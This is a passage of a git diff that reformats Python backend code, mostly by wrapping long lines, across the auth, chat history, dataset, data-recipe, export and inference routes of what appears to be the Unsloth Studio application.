finally: scraper.close() diff --git a/studio/backend/plugins/data-designer-unstructured-seed/src/data_designer_unstructured_seed/chunking.py b/studio/backend/plugins/data-designer-unstructured-seed/src/data_designer_unstructured_seed/chunking.py index ee7d8727fc..a79a0059b5 100644 --- a/studio/backend/plugins/data-designer-unstructured-seed/src/data_designer_unstructured_seed/chunking.py +++ b/studio/backend/plugins/data-designer-unstructured-seed/src/data_designer_unstructured_seed/chunking.py @@ -42,7 +42,9 @@ def build_unstructured_preview_rows( try: import pandas as pd except ImportError as exc: # pragma: no cover - raise RuntimeError(f"pandas is required for unstructured seed processing: {exc}") from exc + raise RuntimeError( + f"pandas is required for unstructured seed processing: {exc}" + ) from exc dataframe = pd.read_parquet(parquet_path).head(count) return [ @@ -69,7 +71,9 @@ def build_multi_file_preview_rows( return _round_robin_preview(rows, preview_size) -def _round_robin_preview(rows: list[dict[str, str]], preview_size: int) -> list[dict[str, str]]: +def _round_robin_preview( + rows: list[dict[str, str]], preview_size: int +) -> list[dict[str, str]]: """Pick preview rows round-robin across source files so each is represented.""" if not rows or preview_size <= 0: return [] @@ -133,7 +137,9 @@ def materialize_unstructured_seed_dataset( try: import pandas as pd except ImportError as exc: # pragma: no cover - raise RuntimeError(f"pandas is required for unstructured seed processing: {exc}") from exc + raise RuntimeError( + f"pandas is required for unstructured seed processing: {exc}" + ) from exc tmp_path = _CACHE_DIR / f"{key}.tmp.parquet" pd.DataFrame(rows).to_parquet(tmp_path, index = False) @@ -192,7 +198,9 @@ def normalize_unstructured_text(text: str) -> str: return re.sub(r"\n{3,}", "\n\n", normalized).strip() -def split_text_into_chunks(*, text: str, chunk_size: int, chunk_overlap: int) -> list[str]: +def split_text_into_chunks( + *, text: str, chunk_size: int, chunk_overlap: int +) -> list[str]: if not text: return [] if chunk_size <= 0: @@ -246,7 +254,9 @@ def _to_int(value: Any, fallback: int) -> int: return parsed -def _compute_cache_key(*, source_path: Path, chunk_size: int, chunk_overlap: int) -> str: +def _compute_cache_key( + *, source_path: Path, chunk_size: int, chunk_overlap: int +) -> str: stat = source_path.stat() payload = "|".join( [ diff --git a/studio/backend/routes/auth.py b/studio/backend/routes/auth.py index d779c8784e..ea529313f9 100644 --- a/studio/backend/routes/auth.py +++ b/studio/backend/routes/auth.py @@ -320,7 +320,9 @@ def _login_blocked(key: tuple[str, str]) -> int: _blocked_for(_LOGIN_IP_BUCKETS.get(ip), now, _LOGIN_IP_MAX_FAILS), _overflow_blocked(ip, now), ) - return max(_blocked_for(_LOGIN_BUCKETS.get(key), now, _LOGIN_MAX_FAILS), ip_blocked) + return max( + _blocked_for(_LOGIN_BUCKETS.get(key), now, _LOGIN_MAX_FAILS), ip_blocked + ) def _clear_login_bucket(key: tuple[str, str]) -> None: @@ -351,7 +353,8 @@ def identity(nonce: str, request: Request) -> dict: ) if not 16 <= len(raw) <= 128: raise HTTPException( - status_code = status.HTTP_400_BAD_REQUEST, detail = "nonce must decode to 16-128 bytes" + status_code = status.HTTP_400_BAD_REQUEST, + detail = "nonce must decode to 16-128 bytes", ) # The address + port the connection actually landed on, from the socket # (request.scope is getsockname, so it is the real local address even when @@ -368,7 +371,9 @@ async def auth_status() -> AuthStatusResponse: return AuthStatusResponse( initialized = storage.is_initialized(), default_username = storage.DEFAULT_ADMIN_USERNAME, - requires_password_change = storage.requires_password_change(storage.DEFAULT_ADMIN_USERNAME) + requires_password_change = storage.requires_password_change( + storage.DEFAULT_ADMIN_USERNAME + ) if storage.is_initialized() else True, ) @@ -385,7 +390,10 @@ async def login(payload: AuthLoginRequest, request: Request) -> Token: status_code = status.HTTP_429_TOO_MANY_REQUESTS, # IP not interpolated into the body; behind a proxy/NAT it's # misleading or an info leak. - detail = (f"Too many failed login attempts. " f"Try again in {blocked_for} seconds."), + detail = ( + f"Too many failed login attempts. " + f"Try again in {blocked_for} seconds." + ), headers = {"Retry-After": str(blocked_for)}, ) @@ -421,7 +429,8 @@ async def login(payload: AuthLoginRequest, request: Request) -> Token: @router.post("/logout", status_code = status.HTTP_204_NO_CONTENT) async def logout( - request: Request, current_subject: str = Depends(get_current_subject_allow_password_change) + request: Request, + current_subject: str = Depends(get_current_subject_allow_password_change), ) -> Response: """Revoke refresh tokens for the subject; the access token is stateless and expires on its own.""" try: @@ -470,7 +479,9 @@ async def refresh(payload: RefreshTokenRequest) -> Token: access_token = new_access_token, refresh_token = new_refresh_token, token_type = "bearer", - must_change_password = False if is_desktop else storage.requires_password_change(username), + must_change_password = False + if is_desktop + else storage.requires_password_change(username), ) @@ -502,7 +513,9 @@ async def change_password( # Single transaction: a separate refresh-token purge could fail after the # password commit, leaving pre-change tokens able to mint access tokens. - storage.update_password(current_subject, payload.new_password, revoke_refresh_tokens = True) + storage.update_password( + current_subject, payload.new_password, revoke_refresh_tokens = True + ) try: request.app.state.bootstrap_password = None except AttributeError: @@ -557,7 +570,9 @@ async def create_api_key( @router.get("/api-keys", response_model = ApiKeyListResponse) -async def list_api_keys(current_subject: str = Depends(get_current_subject)) -> ApiKeyListResponse: +async def list_api_keys( + current_subject: str = Depends(get_current_subject), +) -> ApiKeyListResponse: """List all API keys for the authenticated user (raw keys are never exposed).""" rows = storage.list_api_keys(current_subject) return ApiKeyListResponse( @@ -566,7 +581,9 @@ async def list_api_keys(current_subject: str = Depends(get_current_subject)) -> @router.delete("/api-keys/{key_id}") -async def revoke_api_key(key_id: int, current_subject: str = Depends(get_current_subject)) -> dict: +async def revoke_api_key( + key_id: int, current_subject: str = Depends(get_current_subject) +) -> dict: """Revoke (soft-delete) an API key.""" if not storage.revoke_api_key(current_subject, key_id): raise HTTPException( diff --git a/studio/backend/routes/chat_history.py b/studio/backend/routes/chat_history.py index 24b6dfb36d..d3de74f43e 100644 --- a/studio/backend/routes/chat_history.py +++ b/studio/backend/routes/chat_history.py @@ -173,7 +173,9 @@ class ChatSettingsPayload(BaseModel): inferenceParams: Optional[ChatInferenceSettings] = None customPresets: Optional[list[ChatPreset]] = None activePreset: Optional[str] = None - activePresetSource: Optional[Literal["builtin-default", "custom", "modified"]] = None + activePresetSource: Optional[Literal["builtin-default", "custom", "modified"]] = ( + None + ) autoTitle: Optional[bool] = None reasoningEffort: Optional[ Literal["none", "minimal", "low", "medium", "high", "max", "xhigh"] @@ -233,7 +235,9 @@ async def list_threads( @router.post("/threads", response_model = ChatThread) -async def save_thread(payload: ChatThread, current_subject: str = Depends(get_current_subject)): +async def save_thread( + payload: ChatThread, current_subject: str = Depends(get_current_subject) +): if payload.projectId and get_chat_project(payload.projectId) is None: raise HTTPException( status_code = 404, @@ -243,7 +247,9 @@ async def save_thread(payload: ChatThread, current_subject: str = Depends(get_cu @router.get("/threads/{thread_id}", response_model = ChatThread) -async def get_thread(thread_id: str, current_subject: str = Depends(get_current_subject)): +async def get_thread( + thread_id: str, current_subject: str = Depends(get_current_subject) +): thread = get_chat_thread(thread_id) if thread is None: raise HTTPException(status_code = 404, detail = f"Thread {thread_id} not found") @@ -257,7 +263,14 @@ async def patch_thread( current_subject: str = Depends(get_current_subject), ): patch = payload.model_dump(exclude_unset = True) - for field in ("title", "modelType", "modelId", "archived", "createdAt", "updatedAt"): + for field in ( + "title", + "modelType", + "modelId", + "archived", + "createdAt", + "updatedAt", + ): if field in patch and patch[field] is None: raise HTTPException(status_code = 400, detail = f"{field} cannot be null") if patch.get("projectId") and get_chat_project(patch["projectId"]) is None: @@ -308,7 +321,9 @@ def _decode_attachment_base64(payload: str) -> bytes: try: return base64.b64decode(normalized, altchars = altchars, validate = True) except Exception as exc: # noqa: BLE001 - corrupt stored payload - raise HTTPException(status_code = 422, detail = "Attachment data is corrupt") from exc + raise HTTPException( + status_code = 422, detail = "Attachment data is corrupt" + ) from exc _AUDIO_FORMAT_MEDIA_TYPES = { @@ -391,7 +406,9 @@ def get_attachment_file( if isinstance(text, str) and text: texts.append(text) if texts: - return Response(content = "\n".join(texts), media_type = "text/plain; charset=utf-8") + return Response( + content = "\n".join(texts), media_type = "text/plain; charset=utf-8" + ) raise HTTPException(status_code = 404, detail = "Attachment has no stored content") @@ -409,7 +426,8 @@ def delete_attachment( @router.get("/projects", response_model = ChatProjectListResponse) async def list_projects( - include_archived: bool = Query(False), current_subject: str = Depends(get_current_subject) + include_archived: bool = Query(False), + current_subject: str = Depends(get_current_subject), ): return ChatProjectListResponse( projects = [ @@ -420,12 +438,16 @@ async def list_projects( @router.post("/projects", response_model = ChatProject) -async def save_project(payload: ChatProject, current_subject: str = Depends(get_current_subject)): +async def save_project( + payload: ChatProject, current_subject: str = Depends(get_current_subject) +): return ChatProject(**upsert_chat_project(payload.model_dump())) @router.get("/projects/{project_id}", response_model = ChatProject) -async def get_project(project_id: str, current_subject: str = Depends(get_current_subject)): +async def get_project( + project_id: str, current_subject: str = Depends(get_current_subject) +): project = ensure_chat_project_workspace(project_id) if project is None: raise HTTPException( @@ -496,12 +518,16 @@ async def delete_project( finally: conn.close() except Exception: # noqa: BLE001 - source cleanup must not block project deletion - logger.warning("failed to delete RAG sources for project %s", project_id, exc_info = True) + logger.warning( + "failed to delete RAG sources for project %s", project_id, exc_info = True + ) return ChatProject(**project) @router.get("/threads/{thread_id}/messages", response_model = ChatMessageListResponse) -async def get_thread_messages(thread_id: str, current_subject: str = Depends(get_current_subject)): +async def get_thread_messages( + thread_id: str, current_subject: str = Depends(get_current_subject) +): if get_chat_thread(thread_id) is None: raise HTTPException(status_code = 404, detail = f"Thread {thread_id} not found") return ChatMessageListResponse( @@ -511,7 +537,8 @@ async def get_thread_messages(thread_id: str, current_subject: str = Depends(get @router.post("/messages:batch", response_model = ChatMessagesBatchResponse) async def batch_thread_messages( - payload: ChatMessagesBatchRequest, current_subject: str = Depends(get_current_subject) + payload: ChatMessagesBatchRequest, + current_subject: str = Depends(get_current_subject), ): """One round-trip per sidebar/search rebuild instead of N. Unknown thread ids return empty lists.""" by_thread: dict[str, list[ChatMessage]] = {tid: [] for tid in payload.threadIds} @@ -565,10 +592,14 @@ def replace_thread_messages( payload: ChatMessageSyncRequest, current_subject: str = Depends(get_current_subject), ): - mismatched_ids = [message.id for message in payload.messages if message.threadId != thread_id] + mismatched_ids = [ + message.id for message in payload.messages if message.threadId != thread_id + ] if mismatched_ids: preview = ", ".join(mismatched_ids[:5]) - suffix = "" if len(mismatched_ids) <= 5 else f" (+{len(mismatched_ids) - 5} more)" + suffix = ( + "" if len(mismatched_ids) <= 5 else f" (+{len(mismatched_ids) - 5} more)" + ) raise HTTPException( status_code = 400, detail = f"Message threadId mismatch: {preview}{suffix}", @@ -613,7 +644,8 @@ async def get_import_ledger(current_subject: str = Depends(get_current_subject)) @router.post("/import-ledger", response_model = ChatImportLedgerRecordResponse) async def record_import_ledger( - payload: ChatImportLedgerRecordRequest, current_subject: str = Depends(get_current_subject) + payload: ChatImportLedgerRecordRequest, + current_subject: str = Depends(get_current_subject), ): """Mark each legacy thread id as imported. Idempotent.""" accepted, inserted = upsert_chat_legacy_imports(payload.threadIds) @@ -712,8 +744,12 @@ async def fork_thread( # and surface the same warning regardless of provider so the UI can # show a consistent "sandbox starts fresh" toast. warning: Optional[str] = None - if source.get("openaiCodeExecContainerId") or source.get("anthropicCodeExecContainerId"): - warning = "Sandbox starts fresh in fork; files from parent are not carried over." + if source.get("openaiCodeExecContainerId") or source.get( + "anthropicCodeExecContainerId" + ): + warning = ( + "Sandbox starts fresh in fork; files from parent are not carried over." + ) return ChatForkResponse( thread = ChatThread(**forked), messages = [ChatMessage(**m) for m in messages], diff --git a/studio/backend/routes/data_recipe/jobs.py b/studio/backend/routes/data_recipe/jobs.py index e870e8855e..c9c7b95da7 100644 --- a/studio/backend/routes/data_recipe/jobs.py +++ b/studio/backend/routes/data_recipe/jobs.py @@ -151,7 +151,9 @@ def _ensure_selected_local_model_loaded( ) -> None: model_loaded, active_model, active_variant = _loaded_local_model_identity() if not model_loaded: - raise ValueError("No model loaded in Chat. Load a model first, then run the recipe.") + raise ValueError( + "No model loaded in Chat. Load a model first, then run the recipe." + ) selection = _single_used_local_model_selection(recipe, local_provider_names) if selection is None: @@ -161,7 +163,9 @@ def _ensure_selected_local_model_loaded( variant_matches = not gguf_variant or active_variant == gguf_variant if active_model.lower() != target.lower() or not variant_matches: selected = f"{target} ({gguf_variant})" if gguf_variant else target - active = f"{active_model} ({active_variant})" if active_variant else active_model + active = ( + f"{active_model} ({active_variant})" if active_variant else active_model + ) raise ValueError( "Selected local model is not loaded. " f"Selected {selected}; active {active or 'none'}. " @@ -190,7 +194,9 @@ def _inject_local_structured_response_format( for mc in model_configs: if not isinstance(mc, dict): continue - if mc.get("provider") in local_provider_names and isinstance(mc.get("alias"), str): + if mc.get("provider") in local_provider_names and isinstance( + mc.get("alias"), str + ): alias_to_local_mc[mc["alias"]] = mc if not alias_to_local_mc: @@ -286,12 +292,18 @@ def _inject_local_providers(recipe: dict[str, Any], request: Request) -> Optiona # Only gate on model-loaded if a local provider is reachable from an LLM # column via a model_config. Orphan model_config nodes shouldn't block runs; # the recipe never calls /v1 for them. - local_names = {providers[i].get("name") for i in local_indices if providers[i].get("name")} + local_names = { + providers[i].get("name") for i in local_indices if providers[i].get("name") + } used_aliases = _used_llm_model_aliases(recipe) referenced_providers = { mc.get("provider") for mc in recipe.get("model_configs", []) - if (isinstance(mc, dict) and mc.get("provider") and mc.get("alias") in used_aliases) + if ( + isinstance(mc, dict) + and mc.get("provider") + and mc.get("alias") in used_aliases + ) } token = "" @@ -367,7 +379,9 @@ def _normalize_run_name(value: Any) -> str | None: if value is None: return None if not isinstance(value, str): - raise HTTPException(status_code = 400, detail = "invalid run_name: must be a string") + raise HTTPException( + status_code = 400, detail = "invalid run_name: must be a string" + ) trimmed = value.strip() if not trimmed: return None @@ -529,7 +543,9 @@ def publish_job_dataset(job_id: str, payload: PublishDatasetRequest): description = payload.description.strip() hf_token = payload.hf_token.strip() if isinstance(payload.hf_token, str) else None artifact_path = ( - payload.artifact_path.strip() if isinstance(payload.artifact_path, str) else None + payload.artifact_path.strip() + if isinstance(payload.artifact_path, str) + else None ) if not repo_id: @@ -540,7 +556,10 @@ def publish_job_dataset(job_id: str, payload: PublishDatasetRequest): mgr = get_job_manager() status = mgr.get_status(job_id) if status is not None: - if status.get("status") != "completed" or status.get("execution_type") != "full": + if ( + status.get("status") != "completed" + or status.get("execution_type") != "full" + ): raise HTTPException( status_code = 409, detail = "Only completed full runs can be published.", diff --git a/studio/backend/routes/data_recipe/mcp.py b/studio/backend/routes/data_recipe/mcp.py index 78a39877cc..2c79d323f3 100644 --- a/studio/backend/routes/data_recipe/mcp.py +++ b/studio/backend/routes/data_recipe/mcp.py @@ -69,7 +69,9 @@ def list_mcp_tools(payload: McpToolsListRequest) -> McpToolsListResponse: provider = built[0] try: tools = mcp_io.list_tools(provider, timeout_sec = payload.timeout_sec) - tool_names = sorted({tool.name for tool in tools if getattr(tool, "name", "")}) + tool_names = sorted( + {tool.name for tool in tools if getattr(tool, "name", "")} + ) for tool_name in tool_names: tool_to_providers[tool_name].append(provider.name) providers.append( diff --git a/studio/backend/routes/data_recipe/seed.py b/studio/backend/routes/data_recipe/seed.py index a5b75b7335..4375e3f98f 100644 --- a/studio/backend/routes/data_recipe/seed.py +++ b/studio/backend/routes/data_recipe/seed.py @@ -67,7 +67,9 @@ _UPLOAD_UID_RE = re.compile(r"^[0-9a-f]{32}$") def _validate_safe_id(value: str, label: str) -> str: if not value or not _SAFE_ID_RE.match(value): - raise HTTPException(400, f"Invalid {label}: must be alphanumeric/dash/underscore only") + raise HTTPException( + 400, f"Invalid {label}: must be alphanumeric/dash/underscore only" + ) return value @@ -77,7 +79,8 @@ def _serialize_preview_value(value: Any) -> Any: def _serialize_preview_rows(rows: list[dict[str, Any]]) -> list[dict[str, Any]]: return [ - {str(key): _serialize_preview_value(value) for key, value in row.items()} for row in rows + {str(key): _serialize_preview_value(value) for key, value in row.items()} + for row in rows ] @@ -198,7 +201,9 @@ def _decode_base64_payload(content_base64: str) -> bytes: raise HTTPException(status_code = 400, detail = "invalid base64 payload") from exc -def _read_preview_rows_from_local_file(path: Path, preview_size: int) -> list[dict[str, Any]]: +def _read_preview_rows_from_local_file( + path: Path, preview_size: int +) -> list[dict[str, Any]]: try: import pandas as pd except ImportError as exc: @@ -296,7 +301,9 @@ def _read_preview_rows_from_multi_files( for fid, fname in zip(file_ids, file_names): extracted = block_dir / f"{fid}.extracted.txt" if not extracted.exists(): - raise HTTPException(404, f"Extracted text not found for file: {fname} (id: {fid})") + raise HTTPException( + 404, f"Extracted text not found for file: {fname} (id: {fid})" + ) file_entries.append((extracted, fname)) return build_multi_file_preview_rows( @@ -376,7 +383,9 @@ def inspect_seed_dataset(payload: SeedInspectRequest) -> SeedInspectResponse: ) from exc if not preview_rows: - raise HTTPException(status_code = 422, detail = "dataset appears empty or unreadable") + raise HTTPException( + status_code = 422, detail = "dataset appears empty or unreadable" + ) preview_rows = _serialize_preview_rows(preview_rows) columns = _extract_columns(preview_rows) @@ -385,7 +394,9 @@ def inspect_seed_dataset(payload: SeedInspectRequest) -> SeedInspectResponse: else: resolved_path = _resolve_seed_hf_path(dataset_name, data_files, split) if not resolved_path: - raise HTTPException(status_code = 422, detail = "unable to resolve seed dataset path") + raise HTTPException( + status_code = 422, detail = "unable to resolve seed dataset path" + ) return SeedInspectResponse( dataset_name = dataset_name, @@ -535,7 +546,9 @@ async def upload_unstructured_file( try: meta_path = block_dir / f"{file_id}.meta.json" meta_path.write_text( - json.dumps({"original_filename": original_filename, "size_bytes": size_bytes}), + json.dumps( + {"original_filename": original_filename, "size_bytes": size_bytes} + ), encoding = "utf-8", ) except OSError: @@ -594,7 +607,9 @@ async def remove_unstructured_block(block_id: str): """ _validate_safe_id(block_id, "block_id") if not _UPLOAD_UID_RE.match(block_id): - raise HTTPException(400, "Invalid block_id: only uid-namespaced blocks can be deleted") + raise HTTPException( + 400, "Invalid block_id: only uid-namespaced blocks can be deleted" + ) block_dir = (UNSTRUCTURED_UPLOAD_ROOT / block_id).resolve() if not block_dir.is_relative_to(UNSTRUCTURED_UPLOAD_ROOT.resolve()): @@ -693,7 +708,9 @@ def inspect_seed_upload(payload: SeedInspectUploadRequest) -> SeedInspectRespons int(payload.preview_size), ) if not preview_rows: - raise HTTPException(status_code = 422, detail = "dataset appears empty or unreadable") + raise HTTPException( + status_code = 422, detail = "dataset appears empty or unreadable" + ) columns = _extract_columns(preview_rows) return SeedInspectResponse( diff --git a/studio/backend/routes/data_recipe/validate.py b/studio/backend/routes/data_recipe/validate.py index ffe36ba69e..5c2469ef76 100644 --- a/studio/backend/routes/data_recipe/validate.py +++ b/studio/backend/routes/data_recipe/validate.py @@ -21,9 +21,7 @@ from utils.utils import safe_error_detail, safe_curated_detail, log_and_http_err logger = get_logger(__name__) router = APIRouter() -_GITHUB_VALIDATE_NOTE = ( - "Recipe shape is valid. GitHub access and rate limits are checked when the run starts." -) +_GITHUB_VALIDATE_NOTE = "Recipe shape is valid. GitHub access and rate limits are checked when the run starts." _GITHUB_ITEM_TYPES = {"issues", "pulls", "commits"} @@ -46,17 +44,23 @@ def _validate_github_seed_static(source: dict[str, Any]) -> list[ValidateError]: else: for repo in repos: if not isinstance(repo, str) or not repo.strip() or "/" not in repo: - errors.append(ValidateError(message = "GitHub repos must be owner/name strings.")) + errors.append( + ValidateError(message = "GitHub repos must be owner/name strings.") + ) break item_types = source.get("item_types") if not isinstance(item_types, list) or not item_types: - errors.append(ValidateError(message = "GitHub seed requires at least one item type.")) + errors.append( + ValidateError(message = "GitHub seed requires at least one item type.") + ) else: invalid_items = [item for item in item_types if item not in _GITHUB_ITEM_TYPES] if invalid_items: errors.append( - ValidateError(message = "GitHub item types must be issues, pulls, or commits.") + ValidateError( + message = "GitHub item types must be issues, pulls, or commits." + ) ) try: diff --git a/studio/backend/routes/datasets.py b/studio/backend/routes/datasets.py index 5456080f34..da6e27e332 100644 --- a/studio/backend/routes/datasets.py +++ b/studio/backend/routes/datasets.py @@ -261,7 +261,11 @@ def _select_best_hf_preview_candidate( def _select_hf_preview_file( - repo_files: list[str], *, metadata: dict | None, subset: str | None, split: str | None + repo_files: list[str], + *, + metadata: dict | None, + subset: str | None, + split: str | None, ) -> str | None: normalized_repo_files = [_normalize_hf_repo_path(path) for path in repo_files] repo_file_set = set(normalized_repo_files) @@ -272,13 +276,21 @@ def _select_hf_preview_file( if path in repo_file_set and _is_hf_preview_data_file(path) ] if metadata_candidates: - return _select_best_hf_preview_candidate(metadata_candidates, subset = subset, split = split) + return _select_best_hf_preview_candidate( + metadata_candidates, subset = subset, split = split + ) - data_candidates = [path for path in normalized_repo_files if _is_hf_preview_data_file(path)] - return _select_best_hf_preview_candidate(data_candidates, subset = subset, split = split) + data_candidates = [ + path for path in normalized_repo_files if _is_hf_preview_data_file(path) + ] + return _select_best_hf_preview_candidate( + data_candidates, subset = subset, split = split + ) -def _download_hf_metadata(*, repo_id: str, repo_files: list[str], token: str | None) -> dict | None: +def _download_hf_metadata( + *, repo_id: str, repo_files: list[str], token: str | None +) -> dict | None: metadata_file = next( ( path @@ -411,7 +423,9 @@ def _build_local_dataset_items() -> list[LocalDatasetItem]: return items -def _load_local_preview_slice(*, dataset_path: Path, train_split: str, preview_size: int): +def _load_local_preview_slice( + *, dataset_path: Path, train_split: str, preview_size: int +): # Non-streaming loads take the cached builder lock; use the EACCES-safe wrapper. from utils.datasets.cache_safe import load_dataset_cache_safe as load_dataset @@ -447,7 +461,9 @@ def _load_local_preview_slice(*, dataset_path: Path, train_split: str, preview_s elif dataset_path.suffix == ".csv": dataset = load_dataset("csv", data_files = str(dataset_path), split = train_split) elif dataset_path.suffix == ".parquet": - dataset = load_dataset("parquet", data_files = str(dataset_path), split = train_split) + dataset = load_dataset( + "parquet", data_files = str(dataset_path), split = train_split + ) else: raise HTTPException( status_code = 400, detail = f"Unsupported file format: {dataset_path.suffix}" @@ -524,7 +540,9 @@ def list_local_datasets( @router.get("/download-progress") async def get_dataset_download_progress( - repo_id: str = Query(..., description = "HuggingFace dataset repo ID, e.g. 'unsloth/LaTeX_OCR'"), + repo_id: str = Query( + ..., description = "HuggingFace dataset repo ID, e.g. 'unsloth/LaTeX_OCR'" + ), current_subject: str = Depends(get_current_subject), ): """Return download progress for a HuggingFace dataset repo. @@ -599,7 +617,9 @@ async def get_dataset_download_progress( @router.post("/check-format", response_model = CheckFormatResponse) -def check_format(request: CheckFormatRequest, current_subject: str = Depends(get_current_subject)): +def check_format( + request: CheckFormatRequest, current_subject: str = Depends(get_current_subject) +): """Check if a dataset requires manual column mapping. HuggingFace strategy: @@ -721,7 +741,9 @@ def check_format(request: CheckFormatRequest, current_subject: str = Depends(get processed = format_result["dataset"] preview_samples = _serialize_preview_rows(processed) except Exception as e: - logger.warning(f"Processed preview generation failed (non-fatal): {e}") + logger.warning( + f"Processed preview generation failed (non-fatal): {e}" + ) preview_samples = _serialize_preview_rows(preview_slice) else: preview_samples = _serialize_preview_rows(preview_slice) @@ -732,7 +754,9 @@ def check_format(request: CheckFormatRequest, current_subject: str = Depends(get if image_col and image_col in (result.get("columns") or []): try: sample_val = preview_slice[0][image_col] - if isinstance(sample_val, str) and sample_val.startswith(("http://", "https://")): + if isinstance(sample_val, str) and sample_val.startswith( + ("http://", "https://") + ): url_warning = ( "This dataset contains image URLs instead of embedded images. " "Images will be downloaded during training, which may be slow for large datasets." @@ -782,7 +806,8 @@ def ai_assist_mapping( # Truncate sample values for the LLM prompt. truncated = [ - {col: str(s.get(col, ""))[:200] for col in request.columns} for s in request.samples[:5] + {col: str(s.get(col, ""))[:200] for col in request.columns} + for s in request.samples[:5] ] result = llm_conversion_advisor( diff --git a/studio/backend/routes/export.py b/studio/backend/routes/export.py index d44e2ac021..779b3f6ce2 100644 --- a/studio/backend/routes/export.py +++ b/studio/backend/routes/export.py @@ -292,7 +292,8 @@ def _export_details(output_path: Optional[str]) -> Optional[Dict[str, Any]]: @router.post("/export/merged", response_model = ExportOperationResponse) async def export_merged_model( - request: ExportMergedModelRequest, current_subject: str = Depends(get_current_subject) + request: ExportMergedModelRequest, + current_subject: str = Depends(get_current_subject), ): """Export a merged PEFT model (16-bit or 4-bit), optionally pushing to Hub. @@ -427,7 +428,8 @@ async def export_gguf( @router.post("/export/lora", response_model = ExportOperationResponse) async def export_lora_adapter( - request: ExportLoRAAdapterRequest, current_subject: str = Depends(get_current_subject) + request: ExportLoRAAdapterRequest, + current_subject: str = Depends(get_current_subject), ): """Export only the LoRA adapter (if the loaded model is PEFT). diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py index afd942e9a5..babb872e89 100644 --- a/studio/backend/routes/inference.py +++ b/studio/backend/routes/inference.py @@ -149,7 +149,9 @@ def _loaded_chat_template() -> Optional[str]: return None -def _template_raise_message(error_text: str, chat_template: Optional[str]) -> Optional[str]: +def _template_raise_message( + error_text: str, chat_template: Optional[str] +) -> Optional[str]: """A chat-template raise_exception message to surface, but only when it appears verbatim in chat_template (simple substring check), so we never leak arbitrary llama-server text. Anchors on llama.cpp's "Jinja Exception:" prefix.""" @@ -169,9 +171,7 @@ def _template_raise_message(error_text: str, chat_template: Optional[str]) -> Op return candidate if candidate and candidate in chat_template else None -_LOST_CONNECTION_MSG = ( - "Lost connection to the model server. It may have crashed -- try reloading the model." -) +_LOST_CONNECTION_MSG = "Lost connection to the model server. It may have crashed -- try reloading the model." def _friendly_error(exc: Exception) -> str: @@ -232,7 +232,10 @@ def _friendly_upstream_error(text: str) -> str: coding-agent tools, so point the user at updating Unsloth rather than the raw body. """ lowered = text.lower() - if "failed to parse grammar" in lowered or "failed to initialize samplers" in lowered: + if ( + "failed to parse grammar" in lowered + or "failed to initialize samplers" in lowered + ): return ( "The model couldn't compile a tool-calling grammar for this request. This is a " "llama-server limitation with some model/quant and tool-schema combinations. " @@ -343,7 +346,9 @@ def _effective_openai_max_tokens_from_values(max_tokens, max_completion_tokens = return value max_tokens = _validate_explicit(max_tokens, "max_tokens") - max_completion_tokens = _validate_explicit(max_completion_tokens, "max_completion_tokens") + max_completion_tokens = _validate_explicit( + max_completion_tokens, "max_completion_tokens" + ) return max_completion_tokens if max_completion_tokens is not None else max_tokens @@ -364,7 +369,9 @@ def _has_openai_tool_history(messages) -> bool: if message.get("role") == "tool" or message.get("tool_calls"): return True continue - if getattr(message, "role", None) == "tool" or getattr(message, "tool_calls", None): + if getattr(message, "role", None) == "tool" or getattr( + message, "tool_calls", None + ): return True return False @@ -382,7 +389,9 @@ def _raise_unsupported_openai_parameter(param: str, message: str) -> None: def _raise_unsupported_n(path_label: str) -> None: - _raise_unsupported_openai_parameter("n", f"n > 1 is not supported for {path_label}.") + _raise_unsupported_openai_parameter( + "n", f"n > 1 is not supported for {path_label}." + ) def _sse_streaming_response(content) -> StreamingResponse: @@ -470,7 +479,10 @@ def _overflow_truncation_requested(payload) -> bool: requested = getattr(payload, "context_overflow", None) if requested is not None: return requested == "truncate_middle" - return os.environ.get("UNSLOTH_CONTEXT_OVERFLOW", "").strip().lower() == "truncate_middle" + return ( + os.environ.get("UNSLOTH_CONTEXT_OVERFLOW", "").strip().lower() + == "truncate_middle" + ) def _parse_overflow_counts(err_text: str): @@ -575,7 +587,9 @@ def _clip_long_contents(messages: list, target_est: int) -> int: if sum(_estimate_message_tokens(m) for m in messages) <= target_est: return clipped content = msg.get("content") - if not isinstance(content, str) or len(content) <= 2 * keep + len(_CLIP_MARKER): + if not isinstance(content, str) or len(content) <= 2 * keep + len( + _CLIP_MARKER + ): continue msg["content"] = content[:keep] + _CLIP_MARKER + content[-keep:] clipped += 1 @@ -591,7 +605,9 @@ def _apply_overflow_truncation(body: dict, err_text: str) -> bool: total_est = sum(_estimate_message_tokens(m) for m in messages) if counts: n_prompt, n_ctx = counts - keep_ratio = min(0.95, (_OVERFLOW_PROMPT_TARGET_FRACTION * n_ctx) / max(1, n_prompt)) + keep_ratio = min( + 0.95, (_OVERFLOW_PROMPT_TARGET_FRACTION * n_ctx) / max(1, n_prompt) + ) else: n_ctx = None keep_ratio = 0.6 # no counts in the error; cut conservatively @@ -602,7 +618,10 @@ def _apply_overflow_truncation(body: dict, err_text: str) -> bool: if dropped: body["messages"] = new_messages clipped = 0 - if sum(_estimate_message_tokens(m) for m in body.get("messages") or []) > target_est: + if ( + sum(_estimate_message_tokens(m) for m in body.get("messages") or []) + > target_est + ): clipped = _clip_long_contents(body.get("messages") or [], target_est) if not dropped and not clipped: return False @@ -643,7 +662,9 @@ def _drop_parallel_tool_call_deltas(chunk) -> bool: delta = ch.get("delta") or {} tcs = delta.get("tool_calls") if isinstance(tcs, list): - kept = [tc for tc in tcs if isinstance(tc, dict) and (tc.get("index") or 0) == 0] + kept = [ + tc for tc in tcs if isinstance(tc, dict) and (tc.get("index") or 0) == 0 + ] if len(kept) != len(tcs): delta["tool_calls"] = kept changed = True @@ -788,7 +809,9 @@ def _openai_stream_usage_chunk( prompt_tokens = _prompt_tokens, completion_tokens = _completion_tokens, total_tokens = _total_tokens, - prompt_tokens_details = _prompt_tokens_details(_usage.get("prompt_tokens_details")), + prompt_tokens_details = _prompt_tokens_details( + _usage.get("prompt_tokens_details") + ), ), timings = stream_timings, ) @@ -886,7 +909,9 @@ def _sf_heal_events_to_sse( for kind, value in events: if kind == "text": if value: - lines.append(_chat_content_chunk(completion_id, created, model_name, value)) + lines.append( + _chat_content_chunk(completion_id, created, model_name, value) + ) api_monitor.append_reply(monitor_id, value) continue if parallel_tool_calls is False and state["idx"] >= 1: @@ -980,7 +1005,8 @@ def _classify_llama_generation_error(exc: Exception) -> Optional[bool]: msg = str(exc) msg_l = msg.lower() if "n_ctx" in msg_l or ( - "context" in 